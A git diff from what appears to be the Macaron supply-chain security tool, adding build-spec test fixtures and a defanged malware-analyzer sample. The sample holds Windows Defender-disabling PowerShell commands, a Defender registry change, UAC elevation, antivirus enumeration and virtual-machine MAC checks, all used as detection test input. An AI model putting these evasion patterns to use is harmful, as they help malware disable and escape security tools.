"regex-lite", + "installer": "cargo", + "version": "==0.1.7" + }, + { + "name": "regex-syntax", + "installer": "cargo", + "version": "==0.8.10" + }, + { + "name": "ron", + "installer": "cargo", + "version": "==0.12.0" + }, + { + "name": "ruff", + "installer": "cargo", + "version": "==0.15.13" + }, + { + "name": "ruff_annotate_snippets", + "installer": "cargo", + "version": "==0.1.0" + }, + { + "name": "ruff_benchmark", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_cache", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_db", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_dev", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_diagnostics", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_formatter", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_graph", + "installer": "cargo", + "version": "==0.1.0" + }, + { + "name": "ruff_index", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_linter", + "installer": "cargo", + "version": "==0.15.13" + }, + { + "name": "ruff_macros", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_markdown", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_memory_usage", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_notebook", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_options_metadata", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_ast", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_ast_integration_tests", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_codegen", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_formatter", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_importer", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_index", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_literal", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_parser", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_semantic", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_stdlib", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_trivia", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_python_trivia_integration_tests", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_server", + "installer": "cargo", + "version": "==0.2.2" + }, + { + "name": "ruff_source_file", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_text_size", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ruff_wasm", + "installer": "cargo", + "version": "==0.15.13" + }, + { + "name": "ruff_workspace", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "rust", + "installer": "rustup", + "version": ">=1.93" + }, + { + "name": "rust-stemmers", + "installer": "cargo", + "version": "==1.2.0" + }, + { + "name": "rustc-hash", + "installer": "cargo", + "version": "==2.1.2" + }, + { + "name": "rustc-stable-hash", + "installer": "cargo", + "version": "==0.1.2" + }, + { + "name": "rustix", + "installer": "cargo", + "version": "==1.1.4" + }, + { + "name": "rustup", + "installer": "bootstrap" + }, + { + "name": "rustversion", + "installer": "cargo", + "version": "==1.0.22" + }, + { + "name": "ryu", + "installer": "cargo", + "version": "==1.0.20" + }, + { + "name": "salsa", + "installer": "cargo", + "version": "==0.26.2" + }, + { + "name": "salsa-macro-rules", + "installer": "cargo", + "version": "==0.26.2" + }, + { + "name": "salsa-macros", + "installer": "cargo", + "version": "==0.26.2" + }, + { + "name": "same-file", + "installer": "cargo", + "version": "==1.0.6" + }, + { + "name": "schemars", + "installer": "cargo", + "version": "==1.2.1" + }, + { + "name": "schemars_derive", + "installer": "cargo", + "version": "==1.2.1" + }, + { + "name": "scopeguard", + "installer": "cargo", + "version": "==1.2.0" + }, + { + "name": "seahash", + "installer": "cargo", + "version": "==4.1.0" + }, + { + "name": "semver", + "installer": "cargo", + "version": "==1.0.27" + }, + { + "name": "serde", + "installer": "cargo", + "version": "==1.0.228" + }, + { + "name": "serde-wasm-bindgen", + "installer": "cargo", + "version": "==0.6.5" + }, + { + "name": "serde_core", + "installer": "cargo", + "version": "==1.0.228" + }, + { + "name": "serde_derive", + "installer": "cargo", + "version": "==1.0.228" + }, + { + "name": "serde_derive_internals", + "installer": "cargo", + "version": "==0.29.1" + }, + { + "name": "serde_json", + "installer": "cargo", + "version": "==1.0.149" + }, + { + "name": "serde_repr", + "installer": "cargo", + "version": "==0.1.20" + }, + { + "name": "serde_spanned", + "installer": "cargo", + "version": "==1.1.1" + }, + { + "name": "serde_test", + "installer": "cargo", + "version": "==1.0.177" + }, + { + "name": "serde_with", + "installer": "cargo", + "version": "==3.19.0" + }, + { + "name": "serde_with_macros", + "installer": "cargo", + "version": "==3.19.0" + }, + { + "name": "sha2", + "installer": "cargo", + "version": "==0.10.9" + }, + { + "name": "sharded-slab", + "installer": "cargo", + "version": "==0.1.7" + }, + { + "name": "shellexpand", + "installer": "cargo", + "version": "==3.1.2" + }, + { + "name": "shlex", + "installer": "cargo", + "version": "==1.3.0" + }, + { + "name": "similar", + "installer": "cargo", + "version": "==2.7.0" + }, + { + "name": "siphasher", + "installer": "cargo", + "version": "==1.0.1" + }, + { + "name": "smallvec", + "installer": "cargo", + "version": "==1.15.1" + }, + { + "name": "snapbox", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "snapbox-macros", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "stable_deref_trait", + "installer": "cargo", + "version": "==1.2.0" + }, + { + "name": "static_assertions", + "installer": "cargo", + "version": "==1.1.0" + }, + { + "name": "statrs", + "installer": "cargo", + "version": "==0.18.0" + }, + { + "name": "strip-ansi-escapes", + "installer": "cargo", + "version": "==0.2.1" + }, + { + "name": "strsim", + "installer": "cargo", + "version": "==0.11.1" + }, + { + "name": "strum", + "installer": "cargo", + "version": "==0.28.0" + }, + { + "name": "strum_macros", + "installer": "cargo", + "version": "==0.28.0" + }, + { + "name": "supports-hyperlinks", + "installer": "cargo", + "version": "==3.2.0" + }, + { + "name": "syn", + "installer": "cargo", + "version": "==2.0.117" + }, + { + "name": "synstructure", + "installer": "cargo", + "version": "==0.13.2" + }, + { + "name": "tap", + "installer": "cargo", + "version": "==1.0.1" + }, + { + "name": "tempfile", + "installer": "cargo", + "version": "==3.27.0" + }, + { + "name": "termcolor", + "installer": "cargo", + "version": "==1.4.1" + }, + { + "name": "terminal_size", + "installer": "cargo", + "version": "==0.4.3" + }, + { + "name": "terminfo", + "installer": "cargo", + "version": "==0.9.0" + }, + { + "name": "termtree", + "installer": "cargo", + "version": "==0.5.1" + }, + { + "name": "test-case", + "installer": "cargo", + "version": "==3.3.1" + }, + { + "name": "test-case-core", + "installer": "cargo", + "version": "==3.3.1" + }, + { + "name": "test-case-macros", + "installer": "cargo", + "version": "==3.3.1" + }, + { + "name": "thin-vec", + "installer": "cargo", + "version": "==0.2.14" + }, + { + "name": "thiserror", + "installer": "cargo", + "version": "==1.0.69" + }, + { + "name": "thiserror-impl", + "installer": "cargo", + "version": "==1.0.69" + }, + { + "name": "thread_local", + "installer": "cargo", + "version": "==1.1.9" + }, + { + "name": "threadpool", + "installer": "cargo", + "version": "==1.8.1" + }, + { + "name": "tikv-jemalloc-sys", + "installer": "cargo", + "version": "==0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7" + }, + { + "name": "tikv-jemallocator", + "installer": "cargo", + "version": "==0.6.1" + }, + { + "name": "tinystr", + "installer": "cargo", + "version": "==0.8.3" + }, + { + "name": "tinytemplate", + "installer": "cargo", + "version": "==1.2.1" + }, + { + "name": "tinyvec", + "installer": "cargo", + "version": "==1.10.0" + }, + { + "name": "tinyvec_macros", + "installer": "cargo", + "version": "==0.1.1" + }, + { + "name": "toml", + "installer": "cargo", + "version": "==0.9.12+spec-1.1.0" + }, + { + "name": "toml_datetime", + "installer": "cargo", + "version": "==0.7.5+spec-1.1.0" + }, + { + "name": "toml_edit", + "installer": "cargo", + "version": "==0.23.6" + }, + { + "name": "toml_parser", + "installer": "cargo", + "version": "==1.1.2+spec-1.1.0" + }, + { + "name": "toml_writer", + "installer": "cargo", + "version": "==1.1.1+spec-1.1.0" + }, + { + "name": "tracing", + "installer": "cargo", + "version": "==0.1.44" + }, + { + "name": "tracing-attributes", + "installer": "cargo", + "version": "==0.1.31" + }, + { + "name": "tracing-core", + "installer": "cargo", + "version": "==0.1.36" + }, + { + "name": "tracing-flame", + "installer": "cargo", + "version": "==0.2.0" + }, + { + "name": "tracing-indicatif", + "installer": "cargo", + "version": "==0.3.14" + }, + { + "name": "tracing-log", + "installer": "cargo", + "version": "==0.2.0" + }, + { + "name": "tracing-subscriber", + "installer": "cargo", + "version": "==0.3.23" + }, + { + "name": "tryfn", + "installer": "cargo", + "version": "==1.0.0" + }, + { + "name": "ty", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_combine", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_completion_bench", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_completion_eval", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_ide", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_module_resolver", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_project", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_python_core", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_python_semantic", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_server", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_site_packages", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_static", + "installer": "cargo", + "version": "==0.0.1" + }, + { + "name": "ty_test", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_vendored", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "ty_wasm", + "installer": "cargo", + "version": "==0.0.0" + }, + { + "name": "typed-arena", + "installer": "cargo", + "version": "==2.0.2" + }, + { + "name": "typeid", + "installer": "cargo", + "version": "==1.0.3" + }, + { + "name": "typenum", + "installer": "cargo", + "version": "==1.18.0" + }, + { + "name": "ucd-trie", + "installer": "cargo", + "version": "==0.1.7" + }, + { + "name": "unicode-id", + "installer": "cargo", + "version": "==0.3.6" + }, + { + "name": "unicode-ident", + "installer": "cargo", + "version": "==1.0.24" + }, + { + "name": "unicode-normalization", + "installer": "cargo", + "version": "==0.1.24" + }, + { + "name": "unicode-width", + "installer": "cargo", + "version": "==0.2.2" + }, + { + "name": "unicode-xid", + "installer": "cargo", + "version": "==0.2.6" + }, + { + "name": "unicode_names2", + "installer": "cargo", + "version": "==1.3.0" + }, + { + "name": "unicode_names2_generator", + "installer": "cargo", + "version": "==1.3.0" + }, + { + "name": "unit-prefix", + "installer": "cargo", + "version": "==0.5.1" + }, + { + "name": "unscanny", + "installer": "cargo", + "version": "==0.1.0" + }, + { + "name": "unty", + "installer": "cargo", + "version": "==0.0.4" + }, + { + "name": "url", + "installer": "cargo", + "version": "==2.5.8" + }, + { + "name": "urlencoding", + "installer": "cargo", + "version": "==2.1.3" + }, + { + "name": "utf8-width", + "installer": "cargo", + "version": "==0.1.7" + }, + { + "name": "utf8_iter", + "installer": "cargo", + "version": "==1.0.4" + }, + { + "name": "utf8parse", + "installer": "cargo", + "version": "==0.2.2" + }, + { + "name": "uuid", + "installer": "cargo", + "version": "==1.23.1" + }, + { + "name": "valuable", + "installer": "cargo", + "version": "==0.1.1" + }, + { + "name": "version-ranges", + "installer": "cargo", + "version": "==0.1.1" + }, + { + "name": "version_check", + "installer": "cargo", + "version": "==0.9.5" + }, + { + "name": "virtue", + "installer": "cargo", + "version": "==0.0.18" + }, + { + "name": "vt100", + "installer": "cargo", + "version": "==0.16.2" + }, + { + "name": "vte", + "installer": "cargo", + "version": "==0.14.1" + }, + { + "name": "wait-timeout", + "installer": "cargo", + "version": "==0.2.1" + }, + { + "name": "walkdir", + "installer": "cargo", + "version": "==2.5.0" + }, + { + "name": "wasi", + "installer": "cargo", + "version": "==0.11.1+wasi-snapshot-preview1" + }, + { + "name": "wasip2", + "installer": "cargo", + "version": "==1.0.1+wasi-0.2.4" + }, + { + "name": "wasip3", + "installer": "cargo", + "version": "==0.4.0+wasi-0.3.0-rc-2026-01-06" + }, + { + "name": "wasm-bindgen", + "installer": "cargo", + "version": "==0.2.105" + }, + { + "name": "wasm-bindgen-futures", + "installer": "cargo", + "version": "==0.4.55" + }, + { + "name": "wasm-bindgen-macro", + "installer": "cargo", + "version": "==0.2.105" + }, + { + "name": "wasm-bindgen-macro-support", + "installer": "cargo", + "version": "==0.2.105" + }, + { + "name": "wasm-bindgen-shared", + "installer": "cargo", + "version": "==0.2.105" + }, + { + "name": "wasm-bindgen-test", + "installer": "cargo", + "version": "==0.3.55" + }, + { + "name": "wasm-bindgen-test-macro", + "installer": "cargo", + "version": "==0.3.55" + }, + { + "name": "wasm-encoder", + "installer": "cargo", + "version": "==0.244.0" + }, + { + "name": "wasm-metadata", + "installer": "cargo", + "version": "==0.244.0" + }, + { + "name": "wasmparser", + "installer": "cargo", + "version": "==0.244.0" + }, + { + "name": "web-sys", + "installer": "cargo", + "version": "==0.3.82" + }, + { + "name": "web-time", + "installer": "cargo", + "version": "==1.1.0" + }, + { + "name": "which", + "installer": "cargo", + "version": "==8.0.2" + }, + { + "name": "wild", + "installer": "cargo", + "version": "==2.2.1" + }, + { + "name": "winapi", + "installer": "cargo", + "version": "==0.3.9" + }, + { + "name": "winapi-i686-pc-windows-gnu", + "installer": "cargo", + "version": "==0.4.0" + }, + { + "name": "winapi-util", + "installer": "cargo", + "version": "==0.1.11" + }, + { + "name": "winapi-x86_64-pc-windows-gnu", + "installer": "cargo", + "version": "==0.4.0" + }, + { + "name": "windows-core", + "installer": "cargo", + "version": "==0.62.0" + }, + { + "name": "windows-implement", + "installer": "cargo", + "version": "==0.60.0" + }, + { + "name": "windows-interface", + "installer": "cargo", + "version": "==0.59.1" + }, + { + "name": "windows-link", + "installer": "cargo", + "version": "==0.1.3" + }, + { + "name": "windows-result", + "installer": "cargo", + "version": "==0.4.0" + }, + { + "name": "windows-strings", + "installer": "cargo", + "version": "==0.5.0" + }, + { + "name": "windows-sys", + "installer": "cargo", + "version": "==0.52.0" + }, + { + "name": "windows-targets", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_aarch64_gnullvm", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_aarch64_msvc", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_i686_gnu", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_i686_gnullvm", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_i686_msvc", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_x86_64_gnu", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_x86_64_gnullvm", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "windows_x86_64_msvc", + "installer": "cargo", + "version": "==0.52.6" + }, + { + "name": "winnow", + "installer": "cargo", + "version": "==0.7.13" + }, + { + "name": "wit-bindgen", + "installer": "cargo", + "version": "==0.46.0" + }, + { + "name": "wit-bindgen-core", + "installer": "cargo", + "version": "==0.51.0" + }, + { + "name": "wit-bindgen-rust", + "installer": "cargo", + "version": "==0.51.0" + }, + { + "name": "wit-bindgen-rust-macro", + "installer": "cargo", + "version": "==0.51.0" + }, + { + "name": "wit-component", + "installer": "cargo", + "version": "==0.244.0" + }, + { + "name": "wit-parser", + "installer": "cargo", + "version": "==0.244.0" + }, + { + "name": "writeable", + "installer": "cargo", + "version": "==0.6.2" + }, + { + "name": "wyz", + "installer": "cargo", + "version": "==0.5.1" + }, + { + "name": "yansi", + "installer": "cargo", + "version": "==1.0.1" + }, + { + "name": "yoke", + "installer": "cargo", + "version": "==0.8.2" + }, + { + "name": "yoke-derive", + "installer": "cargo", + "version": "==0.8.2" + }, + { + "name": "zerocopy", + "installer": "cargo", + "version": "==0.8.27" + }, + { + "name": "zerocopy-derive", + "installer": "cargo", + "version": "==0.8.27" + }, + { + "name": "zerofrom", + "installer": "cargo", + "version": "==0.1.6" + }, + { + "name": "zerofrom-derive", + "installer": "cargo", + "version": "==0.1.6" + }, + { + "name": "zerotrie", + "installer": "cargo", + "version": "==0.2.4" + }, + { + "name": "zerovec", + "installer": "cargo", + "version": "==0.11.6" + }, + { + "name": "zerovec-derive", + "installer": "cargo", + "version": "==0.11.3" + }, + { + "name": "zip", + "installer": "cargo", + "version": "==0.6.6" + }, + { + "name": "zmij", + "installer": "cargo", + "version": "==1.0.10" + }, + { + "name": "zstd", + "installer": "cargo", + "version": "==0.11.2+zstd.1.5.2" + }, + { + "name": "zstd-safe", + "installer": "cargo", + "version": "==5.0.2+zstd.1.5.2" + }, + { + "name": "zstd-sys", + "installer": "cargo", + "version": "==2.0.16+zstd.1.5.7" + } + ], + "build_backends": [ + "maturin" + ], + "upstream_artifacts": { + "wheels": [ + "https://files.pythonhosted.org/packages/e8/31/bf1a0803d077e679cfeee5f2f67290a0fa79c7385b5d9a8c17b9db2c48f0/ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl" + ], + "sdist": [ + "https://files.pythonhosted.org/packages/24/21/a7d5c126d5b557715ef81098f3db2fe20f622a039ff2e626af28d674ab80/ruff-0.15.13.tar.gz" + ] + } +} diff --git a/tests/integration/cases/pypi_ruff/expected_dockerfile.buildspec b/tests/integration/cases/pypi_ruff/expected_dockerfile.buildspec new file mode 100644 index 000000000..a122f740c --- /dev/null +++ b/tests/integration/cases/pypi_ruff/expected_dockerfile.buildspec @@ -0,0 +1,94 @@ + +#syntax=docker/dockerfile:1.10 +FROM oraclelinux:9 + +# Install core tools +RUN dnf -y install which wget tar unzip git + # Install Rust toolchain using Rustup +RUN </validate + [ -n "https://files.pythonhosted.org/packages/e8/31/bf1a0803d077e679cfeee5f2f67290a0fa79c7385b5d9a8c17b9db2c48f0/ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl" ] || { echo "No upstream artifact to validate against."; exit 1; } + # Capture artifacts generated + WHEELS=(/src/dist/*.whl) + # Ensure we only have one artifact + [ ${#WHEELS[@]} -eq 1 ] || { echo "Unexpected artifacts produced!"; exit 1; } + # BUILT_WHEEL is the artifact we built + BUILT_WHEEL=${WHEELS[0]} + # Ensure the artifact produced is not the literal returned by the glob + [ -e $BUILT_WHEEL ] || { echo "No wheels found!"; exit 1; } + # Download the wheel + wget -q https://files.pythonhosted.org/packages/e8/31/bf1a0803d077e679cfeee5f2f67290a0fa79c7385b5d9a8c17b9db2c48f0/ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl + # Compare file tree + (unzip -Z1 $BUILT_WHEEL | grep -v '\.dist-info' | sort) > built.tree + (unzip -Z1 "ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl" | grep -v '\.dist-info' | sort ) > pypi_artifact.tree + diff -u built.tree pypi_artifact.tree || { echo "File trees do not match!"; exit 1; } + echo "Success!" +EOF + +ENTRYPOINT ["/bin/bash","/validate"] diff --git a/tests/integration/cases/pypi_ruff/test.yaml b/tests/integration/cases/pypi_ruff/test.yaml new file mode 100644 index 000000000..371bae20e --- /dev/null +++ b/tests/integration/cases/pypi_ruff/test.yaml @@ -0,0 +1,42 @@ +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. +# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. + +description: | + Test buildspec generation for a non-pure wheel that bundles Ruff. + +tags: +- macaron-python-package + +steps: +- name: Run macaron analyze + kind: analyze + options: + command_args: + - -purl + - pkg:pypi/ruff@0.15.13 +- name: Generate the buildspec + kind: gen-build-spec + options: + command_args: + - -purl + - pkg:pypi/ruff@0.15.13 +- name: Compare Buildspec. + kind: compare + options: + kind: default_build_spec + result: output/buildspec/pypi/ruff/macaron.buildspec + expected: expected_default.buildspec +- name: Generate the buildspec + kind: gen-build-spec + options: + command_args: + - -purl + - pkg:pypi/ruff@0.15.13 + - --output-format + - dockerfile +- name: Compare Dockerfile + kind: compare + options: + kind: dockerfile_build_spec + result: output/buildspec/pypi/ruff/dockerfile.buildspec + expected: expected_dockerfile.buildspec diff --git a/tests/integration/cases/pypi_toga/expected_default.buildspec b/tests/integration/cases/pypi_toga/expected_default.buildspec index d729267f0..0f01c7c7c 100644 --- a/tests/integration/cases/pypi_toga/expected_default.buildspec +++ b/tests/integration/cases/pypi_toga/expected_default.buildspec @@ -31,11 +31,23 @@ } ], "has_binaries": false, - "build_requires": { - "setuptools": "==80.3.1", - "setuptools_scm": "==8.3.1", - "setuptools_dynamic_dependencies": "==1.0.0" - }, + "build_requires": [ + { + "name": "setuptools", + "version": "==80.3.1", + "installer": "pip" + }, + { + "name": "setuptools_dynamic_dependencies", + "version": "==1.0.0", + "installer": "pip" + }, + { + "name": "setuptools_scm", + "version": "==8.3.1", + "installer": "pip" + } + ], "build_backends": [ "setuptools.build_meta" ], diff --git a/tests/integration/cases/pypi_toga/expected_dockerfile.buildspec b/tests/integration/cases/pypi_toga/expected_dockerfile.buildspec index 8618316e9..7dd14657d 100644 --- a/tests/integration/cases/pypi_toga/expected_dockerfile.buildspec +++ b/tests/integration/cases/pypi_toga/expected_dockerfile.buildspec @@ -25,7 +25,7 @@ RUN dnf install \ # Build OpenSSL 1.1.1w RUN <=2.7" + ">=3.9" ], "ecosystem": "pypi", "purl": "pkg:pypi/tree-sitter@0.25.2", @@ -15,15 +15,35 @@ "build_tools": [ "pip" ], - "build_commands": [], + "build_commands": [ + { + "build_tool": "pip", + "command": [ + "python", + "-m", + "build", + "--wheel", + "-n" + ], + "build_config_path": "pyproject.toml", + "confidence_score": 1.0 + } + ], "has_binaries": true, - "build_requires": { - "setuptools": ">=43" - }, + "build_requires": [ + { + "name": "setuptools", + "installer": "pip", + "version": "==80.9.0" + } + ], "build_backends": [ "setuptools.build_meta" ], "upstream_artifacts": { + "wheels": [ + "https://files.pythonhosted.org/packages/c5/a4/68ae301626f2393a62119481cb660eb93504a524fc741a6f1528a4568cf6/tree_sitter-0.25.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl" + ], "sdist": [ "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz" ] diff --git a/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py b/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py index 7d64af2a0..23b3ca63f 100755 --- a/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py +++ b/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py @@ -1,15 +1,21 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the ``run_macaron.sh`` script.""" import os -import subprocess # nosec B404 +import subprocess import sys import tempfile -from collections import namedtuple +import typing -TestCase = namedtuple("TestCase", ["name", "script_args", "expected_macaron_args"]) + +class TestCase(typing.NamedTuple): + """Wrap arguments for test script calls into objects of this class.""" + + name: str + script_args: list[str] + expected_macaron_args: list[str] def run_test_case( @@ -22,8 +28,8 @@ def run_test_case( name, script_args, expected_macaron_args = test_case print(f"test_macaron_command[{name}]:", end=" ") - result = subprocess.run( - [ # nosec B603 + result = subprocess.run( # noqa: S603 + [ "./output/run_macaron.sh", *script_args, ], diff --git a/tests/integration/run.py b/tests/integration/run.py index 7bebdaf2b..65c2e9175 100644 --- a/tests/integration/run.py +++ b/tests/integration/run.py @@ -11,7 +11,7 @@ import logging.config import os import shutil -import subprocess # nosec B404 +import subprocess import sys import time from abc import abstractmethod @@ -162,7 +162,7 @@ def run_command(self, cwd: str, macaron_cmd: str) -> int: cwd=cwd, env=patch_env(self.env), check=False, - ) # nosec: B603 + ) end_time = time.monotonic_ns() if self.expect_fail: @@ -237,10 +237,7 @@ class ValidateSchemaStep(Step[ValidateSchemaStepOptions]): @staticmethod def options_schema(cwd: str, check_expected_result_files: bool) -> cfgv.Map: """Generate the schema of a schema validation step.""" - if check_expected_result_files: - check_file = check_required_file(cwd) - else: - check_file = cfgv.check_string + check_file = check_required_file(cwd) if check_expected_result_files else cfgv.check_string return cfgv.Map( "schema options", @@ -302,10 +299,7 @@ class CompareStep(Step[CompareStepOptions]): @staticmethod def options_schema(cwd: str, check_expected_result_files: bool) -> cfgv.Map: """Generate the schema of a compare step.""" - if check_expected_result_files: - check_file = check_required_file(cwd) - else: - check_file = cfgv.check_string + check_file = check_required_file(cwd) if check_expected_result_files else cfgv.check_string return cfgv.Map( "compare options", @@ -361,7 +355,7 @@ def update_result(self, cwd: str) -> int: *[result_file, expected_file], ], check=False, - ) # nosec: B603 + ) if proc.returncode != 0: logger.error("Failed to update %s.", expected_file) return 1 diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py new file mode 100644 index 000000000..ee6ae7d0b --- /dev/null +++ b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py @@ -0,0 +1,72 @@ +# Copyright (c) 2026 - 2026, Oracle and/or its affiliates. All rights reserved. +# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. + +""" +Running this code will not produce any malicious behavior, but code isolation measures are +in place for safety. +""" + +import sys + +# ensure no symbols are exported so this code cannot accidentally be used +__all__ = [] +sys.exit() + +def test_function(): + """ + All code to be tested will be defined inside this function, so it is all local to it. This is + to isolate the code to be tested, as it exists to replicate the patterns present in malware + samples. + """ + sys.exit() + + class MyAntiAnalysisConfig: + # NOTE: these are randomly generated MAC addresses and aren't directly linked to any specific device. + MacAddresses = ( + "00:0C:29:DF:3E:94", + "00-50-56-FA-EF-2A", + "08.00.27.AA.8E.E8", + "5254005A7E4F", + "00-15-5D-4E-5E-A8" + ) + + Users = ( + "WDAGUtilityAccount" + ) + + def modify_defender(): + import subprocess + try: + subprocess.Popen('powershell Set-MpPreference -ChangeSomething ' \ + r'&& "Somewhere\MpCmdRun.exe" -RemoveDefinitions -Something', + shell=True) + except: + pass + + def cim_based_powershell(): + import subprocess + try: + subprocess.Popen([ + "powershell", + "-Command", + "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference " \ + "... more args ...", + ]) + except: + pass + + def reg_modification(): + import winreg + with winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0, winreg.KEY_SET_VALUE) as key: + winreg.SetValueEx(key, "SomeValue", 0, winreg.REG_DWORD, 0) + + def request_windows_privileges(): + import ctypes + ctypes.windll.shell32.ShellExecuteW(None, "runas", "proc", "--args", None, 1) + + def use_wmic_to_see_av_tools(): + import subprocess + _ = subprocess.check_output( + 'wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName', + text=True + ) diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/expected_results.json b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/expected_results.json new file mode 100644 index 000000000..12a18a2d6 --- /dev/null +++ b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/expected_results.json @@ -0,0 +1,75 @@ +{ + "enabled_sourcecode_rule_findings": { + "src.macaron.resources.pypi_malware_rules.anti_analysis-known-ouis": { + "message": "Found reference to an OUI known to be associated with common virtualisation software for sandboxing/debugging", + "detections": [ + { + "file": "anti_analysis/anti_analysis.py", + "start": 26, + "end": 26 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 27, + "end": 27 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 28, + "end": 28 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 29, + "end": 29 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 30, + "end": 30 + } + ] + }, + "src.macaron.resources.pypi_malware_rules.anti_analysis-defender-evasion": { + "message": "Found reference to Windows Defender services, commands, or names/accounts", + "detections": [ + { + "file": "anti_analysis/anti_analysis.py", + "start": 34, + "end": 34 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 40, + "end": 40 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 41, + "end": 41 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 52, + "end": 52 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 60, + "end": 60 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 65, + "end": 65 + }, + { + "file": "anti_analysis/anti_analysis.py", + "start": 70, + "end": 70 + } + ] + } + }, + "disabled_sourcecode_rule_findings": {} +} diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py b/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py index e2602ef1f..36ded2b57 100644 --- a/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py +++ 